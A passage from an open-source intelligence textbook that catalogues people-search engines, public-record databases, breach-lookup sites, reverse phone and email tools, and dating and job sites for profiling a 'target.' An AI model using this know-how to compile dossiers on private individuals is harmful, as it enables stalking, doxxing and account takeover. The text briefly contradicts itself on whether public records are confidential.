rare to see an Internet user who does not have at least one account on one or more social media site. People use social media services to post all types of contents online such as photos, videos, text messages, and geolocation data. They also mention their education, employment history, and the addresses where they live. Personal information such as social connections, places visited, habits, likes and dislikes, family members, spouse, and more can all be found easily. Although social networking sites allow their users to tighten their privacy controls to prevent others from seeing posted content, few people care about such issues and post many of their activities—especially text posts and Chapter 5 SoCial Media intelligenCe 259 check- ins—in public status. This makes a large volume of accessible data readily available to different kinds of online investigations. This chapter explained how to search popular social media sites to locate information beyond the typical search functionality offered by each service. In the next chapter, we will continue the discussion of how to locate information about people online by focusing on a specific type of search engines known as people search engines. These engine are similar to typical search engines. However, they index content related to individuals only. The next chapter will also cover government records (also known as public records). These are confidential records produced by local governments, and they contain valuable information about specific country citizens. By combining the information from people search engines and government records with the information harvested from social media sites, you can—almost—find all the information available about a specific person online. Notes i. Worldometers, “Current World Population,” February 5, 2018, www.worldometers.info/world-population/. ii. We Are Social Singapore, “Global Digital Statshot Q3 2017,” February 14, 2018, https://www.slideshare.net/ wearesocialsg/global-digital- statshot-q3-2017 iii. Globalwebindex, “Internet users have average of 7 social accounts,” February 14, 2018, https://blog.globalwebindex. net/chart-of-the-day/internet-users- have-average-of-7- social-accounts iv. Statista, “Number of monthly active Facebook users worldwide as of 4th quarter 2017 (in millions),” February 14, 2018, https:// www.statista.com/statistics/264810/number-of-monthly- active-facebook-users-worldwide/ v. LinkedIn, “The Power of LinkedIn's 500 Million Member Community,” February 10, 2018, https://blog.linkedin. com/2017/april/24/the-power-of-linkedins-500- million- community Chapter 5 SoCial Media intelligenCe 260 vi. National Conference of State Legislatures, “STATE SOCIAL MEDIA PRIVACY LAWS", February 11, 2018, www.ncsl.org/research/ telecommunications-and- information-technology/state- laws-prohibiting-access-to-social-media- usernames- and- passwords.aspx vii. Smartdatahq, “The Data Volume Stored By Facebook Is… “, February 12, 2018, https://smartdatahq.com/data-volume- stored-by-facebook/ viii. Microfocus, “How Much Data is Created on the Internet Each Day?,” February 11, 2018, https://blog.microfocus.com/how- much-data-is-created-on-the- internet- each-day ix. Statista, “Number of monthly active Twitter users worldwide from 1st quarter 2010 to 4th quarter 2017 (in millions),” February 14, 2018, x. Internet Live Stats, “Twitter Usage Statistics,” February 12, 2018, www.internetlivestats.com/twitter-statistics/ xi. stonetemple, “Hard Numbers for Public Posting Activity on Google Plus,” February 14, 2018, https://www.stonetemple.com/ real-numbers-for-the-activity-on-google-plus/ xii. Statistic Brain Research Institute, “Google Plus Demographics & Statistics,” February 14, 2018, https://www.statisticbrain.com/ google-plus-demographics- statistics/ xiii. LinkedIn, https://about.linkedin.com, February 14, 2018, https://press.linkedin.com/about-linkedin Chapter 5 SoCial Media intelligenCe 261 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_6 CHAPTER 6 People Search Engines and Public Records In today’s digital age, most people have some kind of online presence, either directly or indirectly. Other entities—such as government and local authorities—also store some type of information about their citizens in publicly accessible databases. Searching for someone is not always as easy as typing their name into Google or Facebook; people with a small online presence will not appear easily when searching for them online. In the previous chapter, we demonstrated the importance of social media sites to find people online. In this chapter, we will continue our discussion of how to find people online using specialized websites known as people search engines in addition to looking up people in government records (also known as public records). Covering these topics in one chapter is convenient because when you search for people online, a considerable amount of information is derived from public databases. In this chapter, we will list the main people search engines currently available (focusing on the free services) and talk briefly about the distinct features offered by each one. We will also cover government record sites and categorize them according to the information offered. The information in this chapter combined with the previous chapter will help you find information about most targets online. What Is a People Search Engine? People search engines are similar to typical search engines; people search engines index online content but focus on people’s personal details and store the results in huge databases to return information upon request. Different parameters are used to search for people on these sites such as target e-mail address, phone number, social username, and full name. Some websites offer additional search parameters such as relative 262 names, mailing address, date of birth, known aliases, ages, and even photographs using a reverse image search technique. The databases used by people search engines to locate information are diverse. For instance, many people search engines search within the deep web to extract information from source databases that typical search engines cannot reach; these include birth and death databases, public records (such as criminal and tax records), and other overlooked sources (such as information stored in proprietary databases). Please bear in mind that the people search engines will also index results from social media platforms such as Facebook and LinkedIn, making them a convenient solution to return comprehensive result sets. Online investigators (such as law enforcement and intelligence services) need people search engines to acquire accurate information about their targets; other parties are also interested in using such services. For example, employers can conduct background checks on their perspective employees, and individuals can look up the amount of personal information that is revealed about themselves online. What Are Public Records? We already talked about people search engines; these sites derive part of their results from public repositories. So, what do we mean when we say public records? Public records consist of information that has been—mostly—produced by government entities and is meant to be nonconfidential. Every person on Earth has a set of public records. For example, the most important— mandatory—public records of every human is their birth and death records! Different countries handle public records differently, as public records will contain personally identifiable information (PII) about people, and exposing such details to the public is subject to law. In the United States, access to national public records is governed by the Freedom of Information Act (FOIA),i which clearly states that any person has the right to obtain access to government information in executive branch agency records. Until now, the United States was the only country in the world that gives unrestricted access to public records of its citizens. This means searching for United States citizens and residents returns richer results compared with other countries. Government records come in different types such as text, photographs, and maps, and they are stored in paper and electronic formats as well such as CD/DVDs, tapes, and computer databases. Chapter 6 people SearCh engineS and publiC reCordS 263 Aside from laws regulating access to public records, what you need to know is that many online services offer access to such data for free or in exchange for a small fee. Example of Public Records Public records contain different types of information. The following list categorizes the records into groups based on type of information; however, the following list is not inclusive of all types: • Birth records • Death records • Marriage records • Divorce records • Address records • Criminal records • Court/litigation records • Voting records • Driver license records • Education history • Property records • Tax/financial records • Weapon permits • Traffic violations • Bankruptcy records • Sex offender records • Professional licenses • E-mail records • Telephone records • Census records Chapter 6 people SearCh engineS and publiC reCordS 264 Searching for Personal Details This is the main section of this chapter. We will start by talking about general people search engines and then narrow our discussion to cover specific services—mostly public records—specializing in searching for particular types of information. General People Search The following are the most popular sites used to locate information about people online. Note! before starting your search using these services, make sure—if possible—to prepare as much detail as you can about your target. • Full name • e-mail, phone number • Mailing address • Friends, exes, family members, social circle names, study mates, business partners, known neighbors, or anyone who may know the target • Where they live or lived before (country, city, state) • education history (school, university) • age TruthFinder TruthFinder (https://www.truthfinder.com) is one of the most popular people search engines; it is a public search record that gives instant access to a wide set of personal information about anyone living in the United States. TruthFinder has a huge database of social media profiles, address history, contact information, public records (federal, country, and state data sources), and other commercial sources. You can search using the target’s first and/or last name in addition to the city/state where the target lives or lived before. TruthFinder scans the deep web of Internet resources to fetch results from places that conventional search engines cannot operate; it also searches the dark web for Chapter 6 people SearCh engineS and publiC reCordS 265 exposed personal information, providing a great service for anyone who may suspect that their personal details have been sold on the dark web (it offers a free dark web monitoring service for its registered members). A valid search in TruthFinder will produce a report with detailed information about the target such as birth and death records, property records, criminal records, education history, work history, location history, social media and dating profiles, relatives’ names, family members, contact information, and more. 411 On 411 (https://www.411.co) you can search for people within the United States. Search parameters include the full name, location, reverse phone lookup, e-mail, and business. The free account returns basic information such as location, contact information, and possible relatives; however, the paid subscription returns in-depth results. Pipl Pipl (https://pipl.com) is another popular people search engine that covers the entire world. It allows you to search for people using their e-mail address, phone number, or social username. Pipl collaborates with other people search engine services to return comprehensive results. These services can be accessed by clicking the sponsored links that appear on your search result page. The current associates are Peoplelooker.com, Archives.com, and Spokeo.com. These services charge fees for giving deeper details about the person of interest. Other These are other important people search engines that you should consider during your search: • Spokeo (https://www.spokeo.com): This is a commercial people search engine that gives detailed reports about any target. • TruePeopleSearch (https://www.truepeoplesearch.com): You can search by target name, reverse phone, and reverse address. The service is free and shows the contact information (phone and e-mail) in addition to current and previous addresses. Chapter 6 people SearCh engineS and publiC reCordS 266 • US Search (https://www.ussearch.com): This gives basic information about the person of interest such as address, relatives, work, and age. To unlock the full profile, you need to pay for a premium subscription. The service is limited to the United States only. • Peek You (https://www.peekyou.com): This aggregates information from social media profiles, news sources, blogs, and other public databases. To unlock the full details, you need to pay. • Zaba Search (www.zabasearch.com): You can find people in the United States using a name or phone number. The service is free, and you can register using your Facebook account—for free—to get the benefits of the premium service. • White Pages (https://www.whitepages.com): You can search for people within the United States using their name, phone number, business, or address. The White Pages database includes more than 500 million people. The free subscription account gives the following information about the person of interest: landline numbers, current and previous residences, relatives, and associates. • Been Verified (https://www.beenverified.com): You can search for people within the United States using their name, phone, e-mail, or mailing address. The basic report gives general information about the subject, while the commercial subscription gives a detailed report about anyone, including criminal records (where available) and property tax records. This service is popular in the United States and used by millions each year. • Address Search (https://www.addresssearch.com): You can search for someone’s e-mail or mailing address using a name and location. The service is limited to the United States. • Lullar (http://com.lullar.com): You can search social media websites using the target’s e-mail address or first and last names or username. • Yasni (www.yasni.com): You can search for people based on their work history. Chapter 6 people SearCh engineS and publiC reCordS 267 • My Life (https://www.mylife.com): This shows the reputation score of any target based on the information gathered from government, social, and other sources, plus personal reviews written by others. To unlock the full report, you need to register and pay for the service. • Snoop Station (http://snoopstation.com/index.html): You can search for people using their full name and location. This is a commercial service. • Advanced Background Check (https://www.advancedbackgroundchecks. com): You can give basic details about the target such as mailing address, phone, and e-mail; to unlock the full details, you need to pay. • Family Tree Now (http://familytreenow.com): Discover your family tree by searching with first and last names and city/state. This is a free service. • Radaris (https://radaris.com): This is a public record deep search engine; it returns comprehensive information about a target. It also lists the online mentions about the target such as résumé, business records, publications, videos and images, social networking profile, and web references. • Profile Engine (http://profileengine.com): This is a social network search engine. • Info Space (http://infospace.com): This is a metasearch engine that returns comprehensive results from different public data sources and other people search engine sites. • Cubib (https://cubib.com): You can search millions of online data records for free. Aggregated data is derived from people search, marketing data, property records, vehicle records, court records, patents, business registration, domain name registration, and White House visitation records. • Fast People Search (https://www.fastpeoplesearch.com): This is a reverse name, address, or phone lookup for free. Chapter 6 people SearCh engineS and publiC reCordS 268 • Speedy hunt (https://speedyhunt.com): You can search for people in the United States and return a detailed report—where available— about them, which include arrest and sex offender records. You need to pay to use this service. • That’s Them (https://thatsthem.com/people-search): You can search for people using their name, address, phone, and e-mail for free. • Webmii (http://webmii.com): You can search for people and for their visibility score for free. • How Many of Me (http://howmanyofme.com/search/): You write the name, and the site will return the number of people in the United States who have your entered first and last names. • Genealogy (www.genealogy.com): You can search family history records using the information originally posted in GenForum. • Sorted By Name (http://sortedbyname.com): This is a list of links to genealogy details—based on the first letter of the person’s surname— mentioned on other websites. Online Registries An online registry is a kind of wish list published online. The most obvious example of such registries is when a couple formulates a list of things they need to purchase for their marriage. They compile a list and publish it online publicly. When one of their friends or relatives buys them an item from the list, the registry provider will remove this item from the list and ship the purchased item to the couple. For the purpose of OSINT investigation, online registries are useful to uncover personal details/wishes of the people of interest in addition to close friends (as many registries allow friends to post their wishes to the wall of the registry owner), especially after knowing that many people leave their registries available online after the ceremony’s end. Chapter 6 people SearCh engineS and publiC reCordS 269 There are different types of online registries. The most well-known types are wedding, baby, graduation, birthday, holiday, and gift registries. The following list the most popular online registries: • The Knot (https://www.theknot.com): Find a couple’s wedding registry and website. • Registry Finder (https://www.registryfinder.com): Search for registries. • Amazon Registry (https://www.amazon.com/wedding/home): This is the Amazon registry. • My Registry (https://www.myregistry.com): This is a global online gift registry service. • Checked Twice (https://www.checkedtwice.com): This is a gift registry. Vital Records Vital records are government records usually created by local authorities. They include birth and death records, marriage licenses, and divorce decrees. When searching for vital records, the returned result will usually come with the target’s personal details. For instance, a birth record will usually come with the parent’s full name, the child’s name, and the place where the event took place. The death record will come with the location where the person buried, a death certificate, and the name of the person who reported the event to the authorities. Marriage records will hold the couple’s parents’ names and the place where the marriage was registered. Finally, the divorce record will hold information about the couple’s children’s names. Other related records such as ancestry records (offered by some databases) and the mailing address of the person of interest can also appear when searching in vital records. Chapter 6 people SearCh engineS and publiC reCordS 270 The following are the most popular vital record databases: Note! as we already said, most public records online relate to u.S. citizens because of u.S. law. however, we will list other international public records database where available. • Sorted by Birth Date (http://sortedbybirthdate.com): This site uses the Death Master File as of March 2014. The Death Master File is a database made publicly available by the US Social Security Administration since 1980, it contains personal information about people who had Social Security numbers and whose deaths were reported to Social Security Administration from 1962 to present. • DeathIndexes (www.deathindexes.com): This site holds a directory of links to websites with online death indexes categorized by state and country. • Family Search (https://www.familysearch.org/search/ collection/1202535): This is a U.S. Social Security death index. • Find a Grave (https://www.findagrave.com): You can find information about people, including their birth, death, and burial information, and it may include pictures, biographies, family information, and more. The site holds more than 170 million memorials in its database. • Deaths of U.S. citizens in foreign countries (https://www.archives. gov/research/vital-records/american-deaths-overseas.html): This is a record of deaths overseas. • Obits Archive (www.obitsarchive.com): You can search more than 53 million U.S. obituaries here. • U.S., Department of Veterans Affairs BIRLS Death File, 1850–2010 (https://search.ancestry.com/search/db.aspx?dbid=2441): This database contains birth and death records for more than 14 million veterans and VA beneficiaries who died between the years 1850 and 2010. Chapter 6 people SearCh engineS and publiC reCordS 271 • Melissa (https://melissadata.com/lookups/deathcheck.asp): This displays a list of people who have died in the last 24 months within the United States. • Deceased Online (https://www.deceasedonline.com): This is the central database for U.K. burials and cremations. • National Records of Scotland (https://www.nrscotland.gov.uk/ research/visit-us/scotlandspeople-centre/useful-websites- for-family-history-research/births-deaths-and-marriages): This includes links to births, deaths, and marriage government records in Scotland and selected countries like the United States and Canada. • Find My Past (https://search.findmypast.co.uk/search-united- kingdom-records-in-birth-marriage-death-and-parish- records): You can search for vital records in the United Kingdom, Australia, New Zealand, the United States, Canada, and Ireland. • Forebears (http://forebears.io/germany): International genealogical records are kept here. Select your country and record type to display related results (see Figure 6-1). Figure 6-1. International genealogical records offered by http://forebears.io Chapter 6 people SearCh engineS and publiC reCordS 272 Note! a major portal for locating vital records within the united Sates is Vitalrec (www.vitalrec.com). this site tells you how to obtain vital records (birth certificates, death records, and marriage license information) from each state and territory in the united Sates. all you need to do is to select the person of interest’s state and then browse the available vital records links for that area. this should be your first place to search for vital records in the united Sates. please note that Vitalrec.com does not store any information in its database; it just offers links directly to each state’s page, and it mentions where and how to get state’s vital records. the international section (www.vitalrec.com/links2.html) gives details on where to find such information in other countries. Criminal and Court Search Criminal and court records include different categories of information such as people with search warrants (arrest warrants and wanted people), jail records, and sex crimes (this category has a dedicated website in the United States that contains full details about each offender). Any person who has been convicted of criminal acts can be found in such public databases. The following are the most important criminal records sites (mostly belonging to U.S. databases): • National Sex Offender Public Website (NSOPW) (https://www. nsopw.gov/en): This gives the public access to sex offender data in the United States; returned results include an offender’s photograph. • Criminal Searches (www.criminalsearches.com): This stores entries for hundreds of millions of adults with a criminal record across the United States. • Black Book Online (https://www.blackbookonline.info/ index.html): This is a directory of free public record lookup services covering the entire United States. Just select the state to see the available county court records within an area. Chapter 6 people SearCh engineS and publiC reCordS 273 • Ancestor Hunt (http://ancestorhunt.com/most-wanted- criminals-and-fugitives.htm): These are the most wanted criminals and fugitives in America. Select the state to see the list. • The Inmate Locator (www.theinmatelocator.com): This lists inmate locator services in the United Sates. • Federal Bureau of Prisons (https://www.bop.gov/inmateloc): Here you can locate the whereabouts of any federal inmate incarcerated from 1982 to the present. • The Global Terrorism Database (GTD) (www.start.umd.edu/gtd/): This is an open source database that holds information about terrorist events around the world (bot international and domestic) beginning from 1970 until 2016. Note! Fbi crime statistics can be useful in some instances when you need to research crime statistics in a specific area and within a specific year. You can find it at https://ucr.fbi.gov. Tip! to see a list of badges—mainly security forces badges—from all countries around the world, go to http://allbadges.net/en. Property Records Use these sites to get information about properties and their residents: • U.S. Realty Record (https://usrealtyrecords.com): This is a major property information provider in the United States. • Zillow (https://www.zillow.com): This site offers buying, selling, renting, financing, and remodeling properties in the United States. Chapter 6 people SearCh engineS and publiC reCordS 274 • U.S. Title Records (https://www.ustitlerecords.com/property- records): This lists property records, lien searches, title searches, and deeds. This is a commercial service. • GOV.UK (https://www.gov.uk/search-property-information- land-registry): Here you can find information about a property in England or Wales. • Neighbor Report (https://neighbor.report): This gives data about addresses, residents, and phone numbers in the United States. This service is unique as it allows anyone to post complains or thanks about their neighbors. Tax and Financial Records You can find tax and financial information about a person of interest in public record searches. • VAT Search (https://vat-search.eu): This is a site for doing a VAT tax search in all European Union countries. • Real Property Tax Database Search (https://otr.cfo.dc.gov/page/ real-property-tax-database-search): This site gives access to property information in the United States. • The National Archives (UK) (www.nationalarchives.gov.uk/help- with- your-research/research-guides/taxation): This is a site for searching British government records on taxation. Very Important Site! go to https://publicrecords.netronline.com for the u.S. public records online directory, which contains links to official public databases including u.S. citizens’ public tax records. Chapter 6 people SearCh engineS and publiC reCordS 275 Social Security Number Search You can perform a reverse Social Security number lookup (for the United States only) by going to https://www.ssn-check.org/lookup/?state=AK&year=1936. The database contains Social Security numbers that were issued between 1936 and 2011. Another site that offers free Social Security number search and lookup tools is SSN- Verify (https://www.ssn-verify.com/tools). Note! You can find voter registration records in the united States at https:// voterrecords.com. Username Check You can check specific usernames to see where they are being used (e.g., social media sites) or to know whether a particular username really exists. • Check User Name (http://checkusernames.com): Check the use of a specific username on 160 social networks. This is useful to discover target social media accounts to see if they are using the same username on multiple platforms. • Namechk (https://namechk.com): Check to see whether a specified username is used for major domain names and social media sites. • Namecheckr (https://www.namecheckr.com): Check a domain and social username availability across multiple networks. • User Search (https://www.usersearch.org): Scan 45 popular social media websites. E-mail Search and Investigation Free services can help you to locate people according to their associated e-mail address. E-mail validation services check whether an e-mail address exists and gives other detailed technical information about it. Chapter 6 people SearCh engineS and publiC reCordS 276 • E-mail Dossier (https://centralops.net/co/emaildossier.aspx): This site gives detailed technical validation reports about e-mails. • Emailhippo (https://tools.verifyemailaddress.io): Free Email address verification service. • Hunter (https://hunter.io/email-verifier): This website offers free Email address verification service/100 email per month. • E-mail Checker (https://email-checker.net): You can use this site to verify whether an e-mail address is real. • Mail Tester (http://mailtester.com/testmail.php): This site offers e-mail address verification. • Byte Plant E-mail Validator (https://www.email-validator.net): You can validate e-mail addresses in bulk. • E-mail Format (https://email-format.com): Find the e-mail address formats in use at thousands of companies. • E-mail Permutator+ (http://metricsparrow.com/toolkit/email- permutator): This is a free e-mail permutator service. • Emails4Corporations.com(https://sites.google.com/site/ emails4corporations/home): Provide e-mail address patterns for more than 1,000 companies. • Scam Dex (www.scamdex.com): This is a huge archive of scam e-mails. • E-mail Header Analysis (https://www.iptrackeronline.com/ email-header-analysis.php): Get detailed technical information extracted from e-mail headers. This includes the sender IP address, e-mail, and sender ISP in addition to geographical information. To use this service, you need to copy the e-mail header and paste it into the E-mail Header Analysis engine and click “Submit header for analysis.” See the following note to learn how to extract the Gmail message header. Chapter 6 people SearCh engineS and publiC reCordS 277 Note! Follow these steps to extract e-mail headers from gmail: 1. open the target e-mail. 2. Click the down arrow located next to the reply button and select “Show original” (see Figure 6-2). Data Compromised Repository Websites These sites hold a list of websites that have suffered from a data breach in the past. When a site suffers from a data breach, registered user details—especially usernames and passwords—usually get revealed to the public. Many people have a bad practice of using the same password for more than one account (e.g., using the same password for Facebook and for an e-mail account), so knowing one password may grant access to other social accounts/services belonging to the same user. Figure 6-2. Displaying Gmail e-mail header Chapter 6 people SearCh engineS and publiC reCordS 278 The following sites are popular websites that list information from a data breach; you can use them to gain intelligence about any target online: • Have I been Pwned (https://haveibeenpwned.com/Passwords): This site lists half a billion real-world passwords previously exposed in data breaches. You can also download the Pwned Passwords list, which contains additional data about each breached account (such as the number of times that password had been seen in the source data breaches). This site can be searched using a target e-mail address or the password itself to see whether it appears in plain text on any public password dump list (see Figure 6-3). This is a recommended site. • Breach Alarm (https://breachalarm.com): Enter your e-mail address to see whether your associated online account passwords have been exposed in a previous data breach. Results will get sent to the specified e-mail address. • Global Cyber Vandalism Statistics (https://defacer.id): This site holds information about the most active website hackers, most active hacker groups, recently hacked government and academic websites, recently reported hacked websites, and reported defacements on hold (not verified). Figure 6-3. Searching for e-mail that has been pwned previously Chapter 6 people SearCh engineS and publiC reCordS 279 • Hacked E-mails (https://hacked-emails.com): Check anonymously whether your e-mail has been compromised in a previous data breach. Note! the darknet contains many public databases that list pwned accounts with passwords in clear text. the last known password dump file found on the darknet contained 1.4 billion clear-text credentials in a single file.ii For the individual, it is illegal to access other people’s accounts using stolen credentials on pwned databases. For oSint investigators, the debate continues whether leaked information is a legal source of oSint or not! Phone Number Search A reverse phone lookup service is useful to find out who is behind a specific phone number. Some services also specify the carrier name and type in addition to phone number type. The following are some phone lookup services: • Z lookup (https://www.zlookup.com): This is a site that does international reverse phone lookups including cell phones. • Reverse Phone Lookup (https://www.reversephonelookup.com): This site traces a telephone back to its owner for free. • Inter800 (http://inter800.com/index.html): Search for phone numbers within the United States. • Twilio (https://www.twilio.com/lookup): Identify phone number formats, find caller names, find caller types (business or personal), identify phone number carrier, and check phone number type (landline, VoIP, or mobile). • Spy Dialer (https://www.spydialer.com): This is a reverse phone lookup for cell phones and landlines. • Who calld (https://whocalld.com): This is a reverse phone lookup service for international numbers. Chapter 6 people SearCh engineS and publiC reCordS 280 • Info Bel (www.infobel.com): Search for the phone number of a person or company anywhere in the world. • Fone Finder (www.fonefinder.net): Search for U.S./Canadian telephone numbers. • True Caller (https://www.truecaller.com): This is an international reverse phone number lookup. • Free Carrier Lookup (http://freecarrierlookup.com): This is a carrier lookup service. • Phone Lookup (https://www.phonelookup.com): This is a reverse phone number lookup service. Note! You cannot get reverse phone lookup for mobile phones easily for free; however, there are many paid websites that offer such services. Employee Profiles and Job Websites Job sites can reveal a great amount of information about individuals and companies’ private details. For example, you can find out the type of hardware and software implemented in the company of interest by looking at the technical vacancies posted by it (e.g., posting a technical vacancy for an IT administrator with experience in Windows Server technology means that the target company is using Windows OS in its infrastructure). A person’s expertise, education, and job history can be found easily by looking at their résumé on job websites; an individual’s résumés can also reveal important technical information about the companies where they previously worked. The following are the most popular job websites: • LinkedIn (https://www.linkedin.com): This was already covered thoroughly in Chapter 5. • Recruit in (https://recruitin.net): This is a third-party website that uses Google to search the profiles on LinkedIn. This returns deeper results compared to LinkedIn. • Byte (https://www.bayt.com): This is a popular Middle East job website. Chapter 6 people SearCh engineS and publiC reCordS 281 • Market Visual (www.marketvisual.com): Search professionals by name, company, or title. The site maps business relationships visually between the person of interest and other entities. It displays further data about the target such as the previous and current affiliations and education. The resulted search data can be downloaded in various forms for later analysis. • Xing (https://www.xing.com): This is a business networking site. • Indeed (www.indeed.com): This is a job search website. • Eluta (https://www.eluta.ca): This is the official job search engine of Canada’s top 100 employers. • CareerBuilder (https://www.careerbuilder.com): This is a job search website. • Euro Jobs (https://www.eurojobs.com): This is a European job site. • Glassdoor (https://www.glassdoor.com/index.htm): This is an international job site. • Monster (https://www.monster.com): This is an international job website. • Head Hunter (https://www.headhunter.com): This is a management and executive job platform. • Jobs (https://www.jobs.pl): This is a Polish job website. • Job site (https://www.jobsite.co.uk): This is a U.K. job website. • Seek (https://www.seek.com.au): This is an Australian job website. • Simply Hired (https://www.simplyhired.com): Job search within the US. • Zip Recruiter (https://www.ziprecruiter.com): Search over 8 million jobs in the US. Dating Website Search Useful information about people and their relationships can be found on dating websites. This information cannot be omitted when conducting OSINT investigations about a person of interest. Chapter 6 people SearCh engineS and publiC reCordS 282 • Ashley Madison (https://www.ashleymadison.com): This is an international dating site. • First Met (https://www.firstmet.com/index.php): This is an online dating site with 30 million users. • Badoo (https://badoo.us): With more than 380 million users, this network is—currently—considered the largest social discovery network on Earth. • Plentyoffish (https://www.pof.fr): This is a dating website for non- English speakers. • EHarmony (https://www.eharmony.com/verify): This is an international dating site with a diverse group of individuals of all ages and countries. • Zoosk (https://www.zoosk.com): This is an international dating website with more than 40 million users. • Black People Met (https://www.blackpeoplemeet.com): This site specializes in locating black singles only. • True Dater (www.truedater.com): Find reviews of people on dating websites; search using the dater’s username. • Our Time (https://www.ourtime.co.uk): This is a dating site for people older than 50. • Hater Dater (https://www.haterdater.com): This website helps people who hate the same stuff to gather and communicate online. • UK Match (https://uk.match.com): This is a U.K. dating website. • Pheramor (https://www.pheramor.com): This is a dating app for those currently working in Houston, Texas. • Tinder (https://tinder.com): This is a social search mobile app that allows people to interact online. It is similar to dating websites. • Beautiful people (https://www.beautifulpeople.com/en-US): International online dating service. You can register via your Facebook account - if you have one. Chapter 6 people SearCh engineS and publiC reCordS 283 • Meet Up (https://www.meetup.com): A website that facilitate meeting with people with the same interest/hippies. • Okcupid (https://www.okcupid.com): Free international online dating website that use math algorithms to find the best correct match according to each user profile. Note! You can find a comparison of online dating websites at https://www. consumerreports.org/dating-relationships/online-dating-guide- match-me-if-you-can. Other Public Records There are other types of online public records that can prove useful in some cases. • Search Systems ((http://publicrecords.searchsystems.net): This is a public records search engine; it includes links to premium databases (and requires payment). • Unites States patent records (https://www.uspto.gov): This lists patent records. • Google Advanced Patent Search (https://www.google.com/ advanced_patent_search): Search for patents here. • Federal Election Commission (https://classic.fec.gov/finance/ disclosure/norindsea.shtml): This lists individual contributions made by individuals, Native American tribes, partnerships, sole proprietorships, limited liability companies (LLCs), and contributions by candidates to all political committees. • Follow That Money (https://www.followthemoney.org): This lists how money is spent in federal elections. • Political Money Line (www.politicalmoneyline.com): This tracks money spent in politics. • EHDP (https://www.ehdp.com/vitalnet/datasets.htm): This contains lots of health data sets of the United States. Chapter 6 people SearCh engineS and publiC reCordS 284 • Data.GOV.UK (https://data.gov.uk/data/search): This is a huge collection of U.K. government data. • Stats (www.stats.govt.nz/browse_for_stats.aspx): This is a New Zealand data government data set. Note! local libraries in the united States offer access to proprietary databases like referenceuSa (a huge directory service) and america’s newspapers (full- text obituaries) for a small fee. in many instances, such services can be offered remotely in exchange for a valid library subscription card. Summary When searching for a person online, make sure to try different websites to do the job because each service aggregates its information from different databases. The indexing mechanisms also differ between sites. It is also advisable to begin your search on social media; if you find useful information about the target, you can conduct a more thorough search using the sites covered in this chapter. In the next chapter, we will continue our discussion of how to locate people online, but this time using the geographical information that comes with people’s Internet usage and social media activities. Notes i. Archives, “Freedom of Information Act (FOIA)”, March 11, 2018, https://www.archives.gov/foia ii. Medium, “1.4 Billion Clear Text Credentials Discovered in a Single Database”, March 11,2018, https://medium. com/4iqdelvedeep/1-4-billion-clear-text-credentials- discovered-in-a-single-database-3131d0a1ae14 Chapter 6 people SearCh engineS and publiC reCordS 285 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_7 CHAPTER 7 Online Maps Tracking users’ geolocation information has become increasingly popular with the advance of computing devices, mobile communications, and social media platforms because these technologies make posting someone’s current location online a matter of clicking one button. Nowadays, many types of electronic devices come equipped with satellite tracking sensors to determine their location on the map. Almost all handheld devices—such as smartphones and wearable devices—are now location aware. Many apps in major software stores such as Apple and Google Play have the ability to use the geolocation sensor of the smartphone/tablet to offer a customized experience or to offer certain functions to the device’s user. In fact, most applications, online services, and social media platforms can track a user’s location in one way or another. In this chapter, we will demonstrate how you can exploit the geolocation information that comes with many users’ online activities to determine their current and previous locations. We will also cover many useful online services that can help you to track everything online including vehicles, ships, shipments, airplanes, and people. You’ll also learn how to research different online map repositories to gather intelligence. But before we begin, we will describe in simple terms how navigation systems— which are responsible for determining people’s current locations—work. The Basics of Geolocation Tracking Most people do not care about the underlying technology responsible for delivering location-based services to them. People enter the address of the location they need to look up on the map, or they use the built-in feature available in smartphones to geotag digital files (such as images and videos) so they record the current location of images/ videos as a meta tag automatically. In other instances, many social media platforms, 286 especially Facebook and Twitter, allow their users to post their current location online (called a check-in on Facebook) with just a single click, and the rest is handled by the electronic device. To determine someone’s current geographical spot, location-aware devices need to communicate with a satellite navigation system that is in turn is responsible for delivering the exact coordinates of the location on Earth. The Global Positioning System (GPS) is an American satellite navigation system developed and operated by the U.S. government; it is considered the most popular navigation system on Earth and is used by a large number of electronic devices worldwide. Of course, there are other navigation systems such as the Russian system named GLONASS, the BeiDou system owned by China, or the Galileo run by the European Union. These systems are supported by different device manufacturers. For GPS to know your current location, it needs to determine the exact coordinate where you are currently standing. So, what do we mean by the geographic coordinate? A geographic coordinate system is a system that locates points on Earth using two coordinate values: latitude and longitude. By knowing the two values, you can visualize any point on Earth on a map. How to Find the GPS Coordinates of Any Location on a Map To find the GPS coordinates (latitude and longitude) of any geographical spot on Earth using Google Maps, follow these steps: 1. Go to Google Maps at https://maps.google.com. 2. Click anywhere on the map where you want to see the GPS coordinates. A small box appears in the bottom of the Google Maps page showing the current location GPS coordinates (see Figure 7-1). 3. To further investigate a selected location, click the coordinate numbers, and Google will take you to a closer view of the target location in addition to giving you its mailing address (if applicable). Chapter 7 Online Maps 287 Note! the first Gps number represents the latitude, and the second represents the longitude. Note! You can also find the latitude and longitude of a point by going to http://itouchmap.com/latlong.html. Click the map and drag the marker to the desired location. You can also enter the address (street, city, state, and country) in the search box to look up the Gps coordinates on map. to convert latitude and longitude to decimal, go to https://andrew.hedges. name/experiments/convert_lat_long. Figure 7-1. Finding the GPS coordinates of any location on Earth using Google Maps Chapter 7 Online Maps 288 How to Find the Geocode Coordinates from a Mailing Address If you have an address for a specific location on Earth but you do not know how to find its geocode coordinates on the map, go to the following free services: • Batch Geocoding (https://www.doogal.co.uk/BatchGeocoding. php): This service converts multiple address at the same time into their equivalent geocode coordinates (latitude and longitude) using Google Maps. • GPS Visualizer’s Quick Geocoder (www.gpsvisualizer.com/geocode): This service converts an address into its equivalent geocode coordinates (and works for both Google and Bing). • Batch Reverse Geocoding (https://www.doogal.co.uk/ BatchReverseGeocoding.php): This service converts geocode coordinate numbers from various coordinate systems to their equivalent approximate mailing address. General Geospatial Research Tools There are many online services that can help you when researching online maps for different kinds of information. The following are the most popular services: • Digital Globe (https://discover.digitalglobe.com): This is an easy-to-use global map imagery tool with advanced search filters. • Bing Maps (https://www.bing.com/maps): This is an alternative to Google Maps. • Yandex Maps (http://maps.yandex.com): This is a Russian alternative to Google. • Baidu Maps (http://map.baidu.com): This is a Chinese alternative to Google. • Daum (http://map.daum.net): This is a Korean map. Chapter 7 Online Maps 289 • N2yo (www.n2yo.com): This offers live streaming from different satellites. It also gives information about the tracked 